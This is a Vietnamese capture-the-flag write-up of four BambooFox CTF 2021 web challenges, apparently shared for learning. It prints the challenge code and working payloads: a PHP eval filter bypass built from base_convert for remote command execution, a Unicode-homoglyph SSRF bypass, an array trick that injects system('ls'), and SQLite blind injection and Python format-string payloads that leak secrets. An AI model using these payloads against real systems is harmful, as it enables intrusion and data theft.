Writeup | BambooFox CTF 2021 | Web exploitation

PHAPHA_JIàN
14:51 25/01/2021

Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com

Tác giả: n3mo


#calc.exe online

<?php
error_reporting(0);
isset($_GET['source']) && die(highlight_file(__FILE__));
function is_safe($query)
{
    $query = strtolower($query);
    preg_match_all("/([a-z_]+)/", $query, $words);
    $words = $words[0];
    $good = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh', 'ncr', 'npr', 'number_format'];
    $accept_chars = '_abcdefghijklmnopqrstuvwxyz0123456789.!^&|+-*/%()[],';
    $accept_chars = str_split($accept_chars);
    $bad = '';
    for ($i = 0; $i < count($words); $i++) {
        if (strlen($words[$i]) && array_search($words[$i], $good) === false) {
            $bad .= $words[$i] . " ";
        }
    }
var_dump($bad);
    for ($i = 0; $i < strlen($query); $i++) {
        if (array_search($query[$i], $accept_chars) === false) {
            $bad .= $query[$i] . " ";
        }
    }
    var_dump($bad);
    return $bad;
}
function safe_eval($code)
{
    if (strlen($code) > 1024) return "Expression too long.";
    $code = strtolower($code);
    $bad = is_safe($code);
    $res = '';
    var_dump($code);
    if (strlen(str_replace(' ', '', $bad)))
        $res = "I don't like this: " . $bad;
    else
        eval('$res=' . $code . ";");
    return $res;
}
?>

source được cấp như sau, như thường lệ đối với mỗi bài có source code ta đều sẽ phải tôn trọng tác giả bằng cách chạy nó trên local.

nhìn sơ qua thì đây là 1 bài eval, chỉ được sử dụng các hàm toán học đã cung cấp để tạo payload RCE

ở đây mình sẽ làm theo 2 cách, vì 1 bài eval open như thế này có thể sẽ có nhiều cách giải.

cách 1:

using base_convert()

ý tưởng của bài này sử dụng hàm baseconvert để chuyển ký tự cần thiết sang decimal rồi từ đó tạo thành hàm cần dùng, mặc nỗi, hàm baseconvert() chỉ convert được các ký tự từ a-z0-9, nhưng trong cmd của mình chắc chắn phải sử dụng các ký tự khác như space và "/"

how we can pass it?

như ở trên ta có thể gọi hàm system ra thì sao ta ko gọi hàm khác ví dụ như chr() :thinking:

có ý tưởng rồi làm thôi.

ngon :v , vậy payload cuối cùng của mình là

(base_convert(1751504350,10,36))(base_convert(15941,10,36).base_convert(16191,10,36)(32).base_convert(16191,10,36)(47).base_convert(727432,10,36).base_convert(16191,10,36)(42))

cách 2:

ta có 1 đống hàm, so do you wanna see some magic?

tiếp tục theo hướng này thì ta sẽ có được thứ mình cần là flag, đến đây các bạn tự tìm ra payload cuối nhé.

#SSRFrog

const express = require("express");
const http = require("http");
const app = express();
app.get("/source", (req, res) => {
    return res.sendFile(__filename);
})
app.get('/', (req, res) => {
    const { url } = req.query;
    if (!url || typeof url !== 'string') return res.send("debug1");
        console.log(url);
    // no duplicate characters in `url`
  if (url.length !== new Set(url).size) return res.send("dmm");
    try {
        http.get(url, resp => {
            resp.setEncoding("utf-8");
            resp.statusCode === 200 ? resp.on('data', data => res.send(data)) : res.send(":(");
        }).on('error', () => res.send("WTF?123"));
    } catch (error) {
        res.send("WTF?");
    }
});
app.listen(3000, '0.0.0.0');

nhìn vào source ta thấy

ứng dụng thực hiện request tới url người dùng cung cấp, với điều kiện, trong url không được chứa bất kỳ ký tự nào lặp lại

và url ta cần bắt server request tới là

url này khá dài và chứa nhiều ký tự lặp lại, vậy ta không thể lào pass được đoạn if trên

với ssrf ta có thể sử dụng unicode trên url, để bypass qua các điều kiện của server

amazing!!

và đây là nguyên nhân

UNICODE IDNA COMPATIBILITY PROCESSING

http://www.unicode.org/reports/tr46/

vậy ta chỉ cần tìm đúng ký tự unicode cho mỗi ký tự lặp

https://github.com/splitline/domain-obfuscator/blob/master/src/mapping.js

đây là một maping giúp ta tạo dễ dàng hơn thay vì lao đầu vào unicode table

payload cuối cùng của mình là

htTp:ⓣHe.c⓪o0O₀l-fⓛ4⁴④g。sⓔrvEⓇ。inⓉⒺRNaL

**ヽ(#`Д´)ノ

<?=highlight_file(__FILE__)&&strlen($🐱=$_GET['ヽ(#`Д´)ノ'])<0x0A&&!preg_match('/[a-z0-9`]/i',$🐱)&&eval(print_r($🐱,1));

mình có 1 sai lầm khi giải bài này là không chịu làm đẹp code để dễ hiểu luồng hơn, bài này mình hiểu ra sau khi đọc payload của 1 người ae tên Tài nào đó

đây là source sau khi làm cho dễ đọc hơn.

$code = ""; // user-input
if(strlen($code) >= 10)
    die("length not ok");
if(preg_match('/[a-z0-9`]/i',$code))
    die("illegal characters found");
$result = print_r($code, 1);
echo eval($result);

ta thấy, input không thể lớn hơn or bằng 10, là không chưa a-z0-z ở cả viết hoa và viết thường,

input của chúng ta sau được truyền vào hàm print_r sau đó mới cho vào eval

ta thấy độ dài payload <10 và không chưa alphanum thì không thể nào thực hiện RCE được

nếu ta truyền vào 1 array thì sao?

đầu tiên ta sẽ pass hàm len, vì len chỉ cho string thôi => ta không còn bị giới hạn ký tự nữa.

thứ 2, hàm preg_match cũng gặp lỗi vì thứ ta truyền vào là 1 array

=> pass cả 2 if

và đây là thứ được truyền vào eval

sẽ có lỗi ở đây, vì chưa có ";" để kết thúc lệnh, ta sử dụng trick 1 tí ở đây

ức là kết quả trở thành

Array([/*]=>*/]);system('ls');/*) <=> Array([]);system('ls');

vậy ta đã inject được lệnh thành công.

vì biến get khá đặc biệt nên ta phải urlencode nó đi

#Yet another login page

ban đầu mình tiếp cận challange này với sqli

sau khi detect được server sử dụng sqlite thì mình tiến hành thực hiện exploit,

exploit khá cơ bản, ở phần tìm tên table với query như sau

payload="admin'and (SELECT hex(substr(name,{},1)) sql from sqlite_master) =hex('{}') -- -"

ta có table name là users, và ở các bước recon trước mình xác nhận table chỉ có 2 column, và mình đoán luôn là username và password. và sau khi thực hiện count thì nhận thấy chỉ có 1 kết quả trả về, vậy chỉ có 1 account trong db là admin,

mình tiến hành extract password với payload

payload="admin'and hex(substr((SELECT group_concat(password) FROM users ),{},1)) =hex('{}') -- -"

và lấy được password , nhưng khi login vào chỉ thấy dòng chữ "hello admin" hiện lên, và không hề có 1 chức năng khác, sau khi thử nghiệm lại với union payload thì mình thấy kết quả như sau

union dùng để nối 2 table lại với nhau, và server cũng không check password mình nhập vào có đúng hay không, mình đoán server chỉ kiểm tra truy vấn có thành công hay không thôi.

sau 1 khoảng thời gian thì mình nhận được 1 hint từ người bạn đến từ Duy Tân như sau

sau khi thử nghiệm thì mình thấy có 1 đống list xuất ra thật

đến đây mình cũng chưa hiểu vuln ở đây là gì, cơ mà mình cũng mù mờ làm theo,

với post request

username='+union+select+'{0.__init__.__globals__}',null+from+users;--+-&password=

sau 1 lúc tìm kiếm thì thấy có 1 func là get_flag

và mình sử dụng cái này để lấy byte code

inspect — Inspect live objects

https://docs.python.org/3/library/inspect.html

post với : username='+union+select+'{0.__init__.__globals__[getflag].__code__.co_code}',null+from+users;--+-&password=

dùng payload này để lấy byte code của hàm python, đến đây mình không thể làm tiếp vì không biết decompiler lại lấy source code. nhưng cũng coi như xong vì sau khi mình đoc wu thì sau khi decompiler được byte code thì sẽ đi tới router có chưa flag.

nhưng mình vẫn chưa hiểu tại sao nó lại ra như vậy, sau cuộc thi mình thấy tác giả public source nên mình lấy về đọc.

mình thấy nguyên nhân ở đây

def login():
    username = request.form.get('username', '')
    password = request.form.get('password', '')
    user = User(username, request.remote_addr)
    cursor = db().cursor()
    cursor.execute(f"select username, password from users where username='{username}'")
    res = cursor.fetchone()
    if res:
        if res['password'] == password:
            return f"Hello {res['username']} 。:.゚ヽ(*´∀`)ノ゚.:。"
        else:
            return ("Wrong password for " + res['username'] + ", login from {0.ip}.").format(user)
    else:
        return "User not found!"
class User():
    def __init__(self, username, ip):
        self.username = username
        self.ip = ip

ở hàm login()

lấy username của request để khởi tạo một class user()

như mình dự đoán thì ở đây chỉ thực hiện so sánh password, và chỉ xác nhận xem truy vấn có trả về kết quả hay không thôi.

vuln

return ("Wrong password for " + res['username'] + ", login from {0.ip}.").format(user)

đây là 1 lỗi format trong python, nó hoạt động tương tự ssti nhưng điểm khác ở đây là ta không thể gọi bất kỳ hàm nào ,mà chỉ có thể leak được một phần source của chương trình

dưới đây là cách mình đọc được config từ chương trình ,tương tự với bất kỳ hàm nào được khai báo ở trong source ta đều có thể leak ra

đây là một vấn đề về phương thức định dạng chuỗi của python, trình mình kém nên mình cũng chưa thể tìm hiểu sâu về root cause của vấn đề này

về bản chất thì bất kỳ ai kiểm soát chuỗi định dạng đều có khả năng truy cập các thuộc tính tiềm năng bên trong đối tượng

tạm dừng ở đây, hẹn gặp lại các bạn ở các wu lần sau.

Jinja 2.8.1 Security Release

https://palletsprojects.com/blog/jinja-281-released/

TIN LIÊN QUAN
CLB ATTTT Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com PWN pivik simultaneity Reversing the binary int main() { size_t size; char *chunk; setvbuf(stdout, 0, 2, 0);...
Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com Category: WEB Author: th13ntc My First Website Bài này điêu toa cực, cần-trôn U lên để Ctr+F được...
Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com Mochi Nishi - PwN3v3rY7h1nG Challenge File: weather Disclaimer: Bài này lúc thi mình không giải ra, vì lúc...